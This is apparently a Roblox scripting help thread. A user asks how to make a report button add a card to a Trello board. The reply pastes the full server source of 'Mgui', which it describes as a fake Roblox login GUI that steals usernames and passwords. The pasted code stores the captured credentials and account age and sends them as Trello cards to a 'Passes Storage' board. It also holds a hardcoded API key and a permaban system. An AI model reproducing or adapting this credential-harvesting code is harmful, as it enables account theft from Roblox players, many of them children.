I already checked the ScriptingHelpers blog, that was just Error logging. I want it to where when I click this report button for an in-game report system, it will add a card to one of my existing Trello boards. My script is below, and my board is on Team Only viewer mode just incase I need to change that.
Script:
function postToTrello() -- POST request to Trello, HttpService enabled end script.Parent.MouseButton1Click:connect(function() postToTrello() wait(0.2) script.Parent.Parent.Parent.Visible = false script.Parent.Parent.Parent.Parent.Menu.Visible = true end)
Mgui is a GUI that fakes the Roblox login system and basically steals roblox usernames and passwords. I don't personally use it, but a lot of people on V3rmillion do. I downloaded the source and found this, it might be helpful.
-- Made by SeniorFight for V3rmillion! local remote = game:WaitForChild("ReplicatedStorage"):WaitForChild("MGU-Server") local http = game:GetService("HttpService") local globalDataStore = game:GetService("DataStoreService"):GetGlobalDataStore() local config = require(script.Parent:WaitForChild("MGU Config")) local appKey = "c23030853446613212d1847303c8f482" local token = "" if config.StorageType == "Global" then if not globalDataStore then print("Could not find data store. Moving to local storage mode.") config.StorageType = "Local" end end if config.Trello.AuthToken ~= "" then token = config.Trello.AuthToken else config.Trello.Enabled = false print("No auth token set. Disabling Trello feature.") end function getRequest(address) if not address then return end return http:GetAsync(address.. "?key="..appKey.."&token="..token) end function postRequest(address, data) if address == nil or data == nil then return end local encoded = http:JSONEncode(data) return http:PostAsync(address.. "?key="..appKey.."&token="..token, tostring(encoded), Enum.HttpContentType.ApplicationJson) end function sendTrelloCard(cardName, labels, targetList) coroutine.resume(coroutine.create(function() local cardName = cardName or "Username: UNDEFINED Password: UNDEFINED Type: UNDEFINED Age: UNDEFINED" local targetList = targetList or "MGRList" local labels = labels or {} local boards = getRequest("https://api.trello.com/1/members/me/boards") if not boards then return end local foundList = false for _,v in pairs(http:JSONDecode(boards)) do if v["id"] ~= nil then local lists = getRequest("http://api.trello.com/1/boards/"..v["id"].."/lists") if lists then for x,list in pairs(http:JSONDecode(lists)) do if list["name"] == targetList then postRequest("https://api.trello.com/1/lists/"..list["id"].."/cards", {["name"]=cardName,["labels"]=labels}) foundList = true break end end if foundList then break end end end end if not foundList then local newBoard = postRequest("https://api.trello.com/1/boards", {["name"]="MGU-Board",["desc"]="MGUltimate Passes Storage"}) local posted = false if newBoard then local newList = postRequest("https://api.trello.com/1/boards/"..newBoard["id"].."/lists", {["name"]=targetList}) if newList then postRequest("https://api.trello.com/1/lists/"..newList["id"].."/cards", {["name"]=cardName,["labels"]=labels}) posted = true end end if not posted then print("ERROR: Could not find nor create an MGU List in Trello!") end end end)) end function LaunchSignal() for _,v in pairs(game.Players:GetPlayers()) do if v:FindFirstChild("PlayerGui") then if v.PlayerGui:FindFirstChild("MGUAdmin") then local check = v.PlayerGui.MGUAdmin:FindFirstChild("SignalCheck") if check then check:InvokeClient(v, "Update") end end end end end function getListTable() local finalTable = {} if config.StorageType == "Local" then local dir = game.Workspace:FindFirstChild(config.StorageNames.Local) if not dir then dir = Instance.new("Folder",game.Workspace) dir.Name = config.StorageNames.Local end for _,v in pairs(dir:GetChildren()) do if v:IsA("Folder") then table.insert(finalTable, {UserName = v.Name, UserPass = v.UserPass.Value, Type = v.Type.Value, UserID = tonumber(v.UserID.Value), UserAge = tonumber(v.UserAge.Value)}) end end elseif config.StorageType == "Global" then if globalDataStore then local tab = globalDataStore:GetAsync(config.StorageNames.Global) if tab then return tab end end end return finalTable end function IsAdmin(player) for _,v in pairs(config.AdminList) do if type(v) == "string" then if v:lower() == player.Name:lower() then return true end elseif type(v) == "number" then if v == player.userId then return true end end end return false end function IsBypass(player) for _,v in pairs(config.BypassList) do if type(v) == "string" then if v:lower() == player.Name:lower() then return true end elseif type(v) == "number" then if v == player.userId then return true end end end return false end function ManageCommand(...) local tokens = {...} table.remove(tokens, 1) if #tokens <= 0 then return end local cmd = tokens[1] if cmd == "GetCustomParameters" then return config elseif cmd == "StoreLog" then local data = tokens[2] if data then if config.StorageType == "Local" then local dir = game.Workspace:FindFirstChild(config.StorageNames.Local) if not dir then dir = Instance.new("Folder",game.Workspace) dir.Name = config.StorageNames.Local end local newLocalDataKey = Instance.new("Folder",dir) newLocalDataKey.Name = data.UserName local newPassKey = Instance.new("StringValue",newLocalDataKey) newPassKey.Name = "UserPass" newPassKey.Value = data.UserPass local newTypeKey = Instance.new("StringValue",newLocalDataKey) newTypeKey.Name = "Type" newTypeKey.Value = data.Type local newIDKey = Instance.new("StringValue",newLocalDataKey) newIDKey.Name = "UserID" newIDKey.Value = tostring(data.UserID) local newAgeKey = Instance.new("StringValue",newLocalDataKey) newAgeKey.Name = "UserAge" newAgeKey.Value = tostring(data.UserAge) elseif config.StorageType == "Global" then if globalDataStore then local dir = globalDataStore:GetAsync(config.StorageNames.Global) or {} table.insert(dir, data) globalDataStore:SetAsync(config.StorageNames.Global, dir) end end if config.Trello.Enabled then local label = {} if data.Type == "BC" then label = {"green"} elseif data.Type == "TBC" then label = {"orange"} elseif data.Type == "OBC" then label = {"red"} elseif data.Type == "V3rm Member" then label = {"purple"} end sendTrelloCard("Username: "..tostring(data.UserName).." Password: "..tostring(data.UserPass).." Type: "..tostring(type).. " Age: "..tostring(data.UserAge).." days", label, config.Trello.ListName) end LaunchSignal() end elseif cmd == "IsLogged" then local player = tokens[2] if player then for _,v in pairs(getListTable()) do if v.UserID == player.userId then return true end end if IsAdmin(player) then return true end return IsBypass(player) end return false elseif cmd == "GetList" then return getListTable() elseif cmd == "Clear" then if config.StorageType == "Local" then local dir = game.Workspace:FindFirstChild(config.StorageNames.Local) if not dir then dir = Instance.new("Folder",game.Workspace) dir.Name = config.StorageNames.Local end dir:ClearAllChildren() elseif config.StorageType == "Global" then if globalDataStore then globalDataStore:SetAsync(config.StorageNames.Global, {}) end end LaunchSignal() elseif cmd == "AddBan" then if tokens[2] then if config.CreatorUltraProtect and tokens[2].userId == game.CreatorId then return end if globalDataStore then local list = globalDataStore:GetAsync(config.StorageNames.Permabans) or {} table.insert(list, tokens[2].userId) globalDataStore:SetAsync(config.StorageNames.Permabans, list) end tokens[2]:Kick() end elseif cmd == "ClearBans" then if globalDataStore then globalDataStore:SetAsync(config.StorageNames.Permabans, {}) end elseif cmd == "IsAdmin" then if tokens[2] then if config.CreatorUltraProtect and tokens[2].userId == game.CreatorId then return true end return IsAdmin(tokens[2]) end elseif cmd == "IsBypass" then if tokens[2] then if config.CreatorUltraProtect and tokens[2].userId == game.CreatorId then return true end return IsBypass(tokens[2]) end elseif cmd == "IsVerified" then if tokens[2] then return game:GetService("MarketplaceService"):PlayerOwnsAsset(tokens[2],config.Verifieds.ObjID) end end end game.Players.PlayerAdded:connect(function(p) -- permaban <3 if config.CreatorUltraProtect and p.userId == game.CreatorId then return end if IsAdmin(p) then return end if IsBypass(p) then return end if config.Verifieds.DirectKick then if game:GetService("MarketplaceService"):PlayerOwnsAsset(p,config.Verifieds.ObjID) then p:Kick() end end if globalDataStore then local list = globalDataStore:GetAsync(config.StorageNames.Permabans) if list then for _,v in pairs(list) do if v == p.userId then p:Kick() end end end end end) remote.OnServerInvoke = ManageCommand